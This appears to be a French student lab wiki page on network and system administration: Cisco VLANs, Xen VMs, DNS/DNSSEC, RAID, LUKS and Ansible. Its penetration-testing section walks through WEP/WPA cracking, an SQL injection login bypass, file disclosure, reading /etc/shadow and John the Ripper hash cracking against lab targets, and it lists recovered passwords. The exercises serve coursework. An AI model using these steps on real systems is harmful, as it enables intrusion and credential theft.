TP sysres IMA5 2021/2022 G7

De Wiki d'activités IMA

PRA 2021-2022 Arthur Vercaemst - Johnny Gouvaert

Architecture réseau

export http_proxy=http://proxy.plil.fr:3128 export https_proxy=https://proxy.plil.fr:3128

Configuration IPV4

Paramétrage des VLANs

9200 Nous avons pris la tache de configurer le routeur cisco 9200 de la salle E-306

Dans un premier temps, nous avons créé le VLAN 42. Ce VLAN permet l'accès au routeur 9200 depuis les VMs Il est donc connecté au port TenGigabitethernet1/1/2 (10G) sur lequel est branchée un fibre venant du serveur capbreton.

enable
  conf t
    vlan 42
      exit
    int vlan 42
      no shut
      ip address 193.48.57.188  255.255.255.192
      ipv6 enable
      ipv6 address 2001:7A8:116E:60B0::F1/64 eui-64
      exit
    int TenGigabitethernet1/1/2
      no shut
      switchport mode access
      switchport access vlan 42
      exit
    exit
  write

Ensuite, nous avons créé et configuré le VLAN 531. Ce vlan est relié par fibre au routeur de l'ecole pour l'accès internet

enable
 conf t
   vlan 531
     exit
   int vlan 531
     no shut
     ip address 192.168.222.42 255.255.255.248
     exit
   int TenGigabitethernet1/1/1
     no shut
     switchport mode access
     switchport access vlan 531
     exit
   exit
 write

OPSF

OSPF (Open Shortest Path First) à chaque routeur de partager sa connaissance de la topologie du réseau, de cette manière on rends possible un routage plus dynamique sur notre infrastructure.

router ospf 1                                                                                                                                    
router-id 10.00.0.1                                   
log-adjacency-changes                                                                                  
summary-address 193.48.57.176 255.255.255.240                                                                                                         
summary-address 100.64.0.0 255.240.0.0 not-advertise  
summary-address 10.0.0.0 255.0.0.0 not-advertise                                                                                                    
redistribute connected subnets                       
redistribute static subnets                                                                                                                         
network 192.168.222.8 0.0.0.7 area 2

Installation des systèmes d’exploitation

Installation dans la machine virtuelle Xen

Après problème dû au l'utilisation de la commande su au lieux de su - nous avons créé notre image de notre VM

xen-create-image --hostname=Anosteke --ip=193.48.57.182 --gateway=193.48.57.188 --netmask=255.255.255.240 --dir=/usr/local/xen --password=pasglop --dist=bullseye

Nous créons ensuite les 2 disques virtuels

lvcreate -L10G -n Anosteke1 storage
lvcreate -L10G -n Anosteke2 storage

Puis nous les formatons

mkfs.ext4 /dev/storage/Anosteke1
mkfs.ext4 /dev/storage/Anosteke2

Nous ajoutons les 2 disques au fichier de configuration de notre VM

nano /etc/xen/Anosteke.cfg
disk        = [
                'file:/usr/local/xen/domains/Bellerose/disk.img,xvda2,w',
                'file:/usr/local/xen/domains/Bellerose/swap.img,xvda1,w',
                'phy:/dev/storage/Anosteke1,xvda3,w',
                'phy:/dev/storage/Anosteke2,xvda4,w'
             ]
vif         = [ 'ip=193.48.57.182 ,mac=00:16:3E:AA:F5:2B ,bridge=IMA5sc' ]

On peut ensuite démarrer notre VM

xl create -c /etc/xen/AnosTeke.cfg

Pour enfin configurer nos espaces disque, en commençant par créer et monter nos espaces

mkdir /mnt/xvda3
mkdir /mnt/xvda4
mount /dev/xvda3 /mnt/xvda3
mount /dev/xvda4 /mnt/xvda4
mv /var/* /mnt/xvda4

Pour finaliser le montage des espaces, on modifie le fichier /etc/fstab pour y ajouter nos emplacements

/dev/xvda3 /home ext4 defaults 0 2
/dev/xvda4 /var ext4 defaults 0 2

On les configure DUMP disabled et Fsck 2. On peut finalement lancer le MOUNT

mount -a

et vérifier la bonne execution

lsblk

NAME  MAJ:MIN RM  SIZE RO TYPE MOUNTPOINT
xvda1 202:1    0  512M  0 disk [SWAP]
xvda2 202:2    0    4G  0 disk /
xvda3 202:3    0   10G  0 disk /home
xvda4 202:4    0   10G  0 disk /var

sur le serveur nous pouvons vérifier que notre machine existe :

xen-list-images | grep Name: %nom de la vm%
lsblk | grep %nom de la vm%

et finalement pour lister les machines en fonctionnement

xen list

On peut ensuite se connecter à la machine

xen console Anosteke

On en profite pour ajouter un nouvel utilisateur

sudo adduser pifou

Et installer les paquets

apt-get update
apt-get upgrade

Services Internet

Serveur SSH

On vérifie que OpenSSH est installé

ssh -V

Si il ne l'est pas on l'install.

sudo apt install openssh-server

Pour lancer et arreter le service SSH :

sudo service ssh stop
sudo service ssh start

Pour desactiver le service :

sudo systemctl disable ssh

Pour connaitre l'état du service :

sudo systemctl status ssh

Il faut ensuite configurer ssh dans le fichier etc/ssh/sshd_config

/etc/ssh
├── ssh_config
├── sshd_config
├── ssh_host_rsa_key
└── ssh_host_rsa_key.pub

Dans ce fichier on modifie les paramètres suivants :

Port 22
LogLevel VERBOSE
PermitRootLogin no
Banner /etc/ssh/banner

On redemarre ensuite le service SSH

systemctl reaload ssh.service

Serveur DNS

On associe notre IP au nom de domaine depuis l'interface du fournisseur Gandi.Net

On install :

apt-get install bind9

On peut aussi installer le paquet dsnutils pour débugger le service DNS

Configuration du fichier /etc/bind/named.conf.options

listen-on {any;};
//allow-recursion  {localhost;};

On configure ensuite le bind de notre nom de domaine.

/etc/bind/db.anosteke59.site                        
$TTL 3600
@       IN      SOA     (
                       ns.anosteke.site.
                       ns6.gandi.net.
                       2;
                       3600;
                       3600;
                       3600;
                       3600;
                       )
        IN      NS      ns6.gandi.net. 
www     IN      A       193.48.57.182
ns      IN      CNAME   www


On vérifie que la configuration est cohérente à l'aide de

named-checkzone anosteke59.site /etc/bind/db.anosteke59.site 

On vérifie ensuite que le DNS fonctionne avec NSLOOKUP (Installer dnsutils sur la vm)

nslookup anosteke59.site 
dig anosteke59.site

Sécurisation de site par certificat

On crée une demande de certificat avec la commande :

openssl req -nodes -newkey rsa:2048 -sha256 -keyout anosteke59.key -out server.csr

le fichier CSR doit alors être envoyé à gandi pour créer notre certificat. Pour lancer la création de notre certificat on doit ajouter une entrée dans notre zone DNS. On attends ensuite le retour du certificat de gandi.

Sécurisation de serveur DNS par DNSSEC

On ajoute à notre fichier named.conf.options les paramètres suivants :

dnssec-enable yes; //Activer le dnssec, même si déprécié sur notre version
dnssec-validation yes; //FOrcer le dnssec

On génère ensuite nos clés, dans un fichier connus

cd /etc/bind/master
dnssec-keygen -a NSEC3RSASHA1 -b 2048 -n ZONE anosteke59.site 
//Kanosteke59.site.+007+15849
dnssec-keygen -f KSK -a NSEC3RSASHA1 -b 4096 -n ZONE anosteke59.site
//Kanosteke59.site.+007+60636

ici on crée une clé pour du SHA-1 ON peut ensuite renommer les fichiers

mv Kanosteke59.site.+007+60636.key  Kanosteke59.site.ksk.key
mv Kanosteke59.site.+007+60636.private  Kanosteke59.site.ksk.private
mv Kanosteke59.site.+007+15849.key  Kanosteke59.site.zsk.key
mv Kanosteke59.site.+007+15849.private  Kanosteke59.site.zsk.private

On ajoute dans la fin de définition du domaine :

$TTL 3600

...

$INCLUDE Kanosteke59.site.zsk.key
$INCLUDE Kanosteke59.site.ksk.key

On signe maintenant nos fichier de définition

dnssec-signzone -o anosteke59.site  -k Kanosteke59.site.ksk anosteke59.site Kanosteke59.site.zsk

On modifie ensuite notre fichier '/etc/bind/named.conf.options' pour pointer sur ce nouveau fichier signé

zone "anosteke59.site" {
        type master;
        file "/etc/bind/master/anosteke59.site.signed";
        notify yes;
};

j'ai vérifié la config final avec : https://dnssec-analyzer.verisignlabs.com/anosteke59.site

Réalisation

Sécurisation de données

Sur le serveur Xen, on créer nos volumes.

lvcreate -L1G -nAnosteke-raid-1 storage
lvcreate -L1G -nAnosteke-raid-2 storage
lvcreate -L1G -nAnosteke-raid-3 storage

Qu'on ajoute à la configuration de notre VM

'phy:/dev/storage/Anosteke-raid-1,xvdb1,w',
'phy:/dev/storage/Anosteke-raid-2,xvdb2,w',
'phy:/dev/storage/Anosteke-raid-3,xvdb3,w'

Après un rédémarrage de la VM on execute

mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvdb1 /dev/xvdb2 /dev/xvdb3

On formate la partition:

mkfs.ext4 /dev/md0

On l'ajoute au fichier /etc/fstab pour qu'il soit monté à chaque démarrage de la vm :

/dev/md0 /media/raid ext4 defaults 0 1

et on valide les modifications:

mount -a

Chiffrement de données

Pour démarrer, nous formatons la clé :

mkfs.ext4 /dev/sdb

A l'aide de cryptsetup, nous initialisons la clé USB avec l'option luksFormat et choisissons un mot de passe :

cryptsetup luksFormat /dev/sdb

Nous ouvrons ensuite notre partition chiffrée et créons le nom du volume : crypte

cryptsetup luksOpen /dev/sdb crypte

Puis nous le formatons

mkfs.ext4 /dev/mapper/crypte 

Nous montons ensuite la partition afin d'y ajouter un fichier test :

mkdir /mnt/cryptUSB
mount -t ext4 /dev/mapper/crypte /mnt/cryptUSB/

Nous créons ce fichier test.txt en y inscrivant "BONJOUR MONDE !" :

nano /mnt/cryptUSB/test.txt

Enfin, nous démontons et fermons le volume chiffré :

umount /mnt/cryptUSB
cryptsetup luksClose crypte

Afin de vérifier le cryptage de la clé, nous le mettons sur un autre PC. On se rend compte que le mot de passe est obligatoire pour accéder aux fichiers

Tests d’intrusion

WEP

On commence par casser la clé WEP.

airmon-ng

puis on lance

airmon-ng start wlan0mon 4

3 représente la channel utilisée par l'ap (ici 3)

Notre interface est renommée 'wlan0mon'. Pour visualiser les paquets sniffés, on execute alors

airodump-ng -c 4 wlan0mon

On observe plusieurs emetteurs, avec leur BSSID associé. On choisit d'attaquer cracotte07 dont le BSSID est 04:DA:D2:9C:50:56 On lance alors la commande :

airodump-ng -w dump -c 4 --bssid 04:DA:D2:9C:50:56 wlan0mon

Après quelques minutes, on execute :

aircrack-ng dump*.cap

Si le programme a accumulé suffisamment de vecteurs d'initialisation (IVs), la clé WEP est cassée. Notre clé est : 55:55:55:55:5A:BC:08:CB:A4:44:44:44:44

WPA

On casse à présent la clé WPA. On scanne la bande de fréquence 9 :

airodump-ng -c 9 wlan0mon

On récupère le BSSID de kracotte07 : 44:AD:D9:5F:87:03 On récupère ensuite des handshakes avec la commande :

airodump-ng -c 9 --bssid 44:AD:D9:5F:87:03 -w dumpWPA wlan0mon

On utilise ensuite crunch pour générer la liste des mots de passe de 8 chiffres que l'on utilisera pour cracker la clé :

crunch 8 8 0123456789 -o password.lst

Enfin, on lance la commande :

aircrack-ng -w password.lst -b 44:AD:D9:5F:87:03 dumpWPA.cap

Le processus peut prendre plusieurs heures. On obtient le mot de passe suivant : 59904999

Intrusion sur un serveur d’application Web

Dans un premier temps, nous réalisons une injection sql afin de récupérer la liste de tous les utilisateurs du site honey.plil.info. Nous choisissons comme utilisateur "' or 1=1; --"

Nous nous connectons avec le compte administrateur. Dans un des fichiers, nous trouvons des allusions à PHPMyAdmin. De là, 3 menus, dont 2 sont intéressants. Dans l'onglet gestion des manuels, on peut ajouter un fichier depuis le serveur.
Ainsi, nous avons ajouté le fichier /etc/phpmyadmin/config-db.php.

Depuis la page Recherche d'un manuel, nous avons pû télécharger ce fichier, qui nous a indiqué le mot de passe du compte phpmyadmin : gencovid19.

2. PHPMyAdmin

Nous avons donc ouvert l'URL http://honey.plil.info/phpmyadmin dans un navigateur, et nous nous connectons avec le compte root:gencovid19 Dans PHPMyAdmin, nous trouvons un DB test avec des identifiants : rex:plainpassword

3. Récupération de fichiers avec l'user rex

Nous avons donc réussi à nous connecter en SSH au serveur, et nous avons récupéré les fichiers /etc/passwd et /etc/shadow.
Nous avons lancé la commande :

unshadow /etc/passwd /etc/shadow | head -1 > mdp

Nous avons obtenu un fichier avec le mot de passe root haché.

5. Decryptage du mot de passe root avec John the Ripper

Pour casser le mot de passe, nous avons utilisé John the Ripper. Nous nous sommes aidé des indications : "mot de passe présentant les mêmes caractéristiques que le mot de passe root habituel".
Nous avons créé un dictionnaire de mots de 4 lettres :

crunch 4 4 abcdefghijklmnopqrstuvwxyz > dict

Pour obtenir des mots de 8 lettres (en duplicant les mots de 4 lettres), nous avons utilisé sed :

sed -i 's/\(.*\)/\1\1/'

La dernière étape consistait à lancer JtR :

john -w:dict mdp

Après 5 minutes d'attente, le mot de passe vu cracké.
Avec la commande :

john --show mdp

On obtient le mot de passe : fortfort.

ASR

xl create -c PRA-07.cfg
xen console PRA-07

on ajoute dans /etc/network/interfaces :

iface eth0 inet static
 address 172.26.145.107/24
 gateway 172.26.145.254

Et on commente relatif au DHCP on édite /etc/ssh/sshd_config :

PermitRootLogin yes

on copie la clé publique de la zabeth dans /root/.ssh/authorized_key

on install puthon3-venv sur la zabeth :

apt install python3-venv

on install ansible sur les zabeth :

python3 -m venv ~/env-ansible
. ~/env-ansible/bin/activate
pip3 install -U setuptools wheel
pip3 install -U ansible

On édite le fichier inventory de ansible :

ASR-07 ansible_ssh_host="172.26.145.107"

Passons maintenant à la configuration de ansible :

Ansible

Debian

On modifie la tache main.yml du role de base pour modifier la source de sécurité des paquets

tache

- name: "Fix BullsEye"
  copy: 
    src: "Modèle:Role path/files/sources.list"
    dest: /etc/apt/

sources.list

deb     http://deb.debian.org/debian     bullseye main contrib non-free
deb-src http://deb.debian.org/debian     bullseye main contrib non-free
deb http://security.debian.org/debian-security bullseye-security main contrib non-free

SSH KEYS

On créer un fichier Jinja2 pour récupérer les clés ssh de notre fichier group_vers/all.yaml

{% for key in ssh_keys %}
{{key["key"]}}
{% endfor %}


puis on enregistre notre configuration yaml

- name: "Add ssh file"
  file:
    path: /root/.ssh/authorized_keys
    state: touch
- name: "Add ssh key"
  template:
    src: ssh.j2
    dest: /root/.ssh/authorized_keys
    owner: root
    group: root
    mode: "0600"

Docker

On télécharge le role docker en ajoutant dans polytech.yaml

    - role: geerlingguy.docker
      tags: docker

FireWall

On bloque les ports en TCP et UDP :

---
- name: "Block TCP"
  ansible.builtin.iptables:
    chain: INPUT
    source_port: "Modèle:Item"
    protocol: tcp
    match: tcp
    jump: DROP
  become: yes
  with_items:
    - "8600"
    - "8500"
    - "8501"
    - "8502"
    - "8300"
    - "8301"
    - "8302"
- name: "Block UDP"
  ansible.builtin.iptables:
    chain: INPUT
    source_port: "Modèle:Item"
    protocol: udp
    match: udp
    jump: DROP
  become: yes
  with_items:
    - "8600"
    - "8301"
    - "8302"

Consul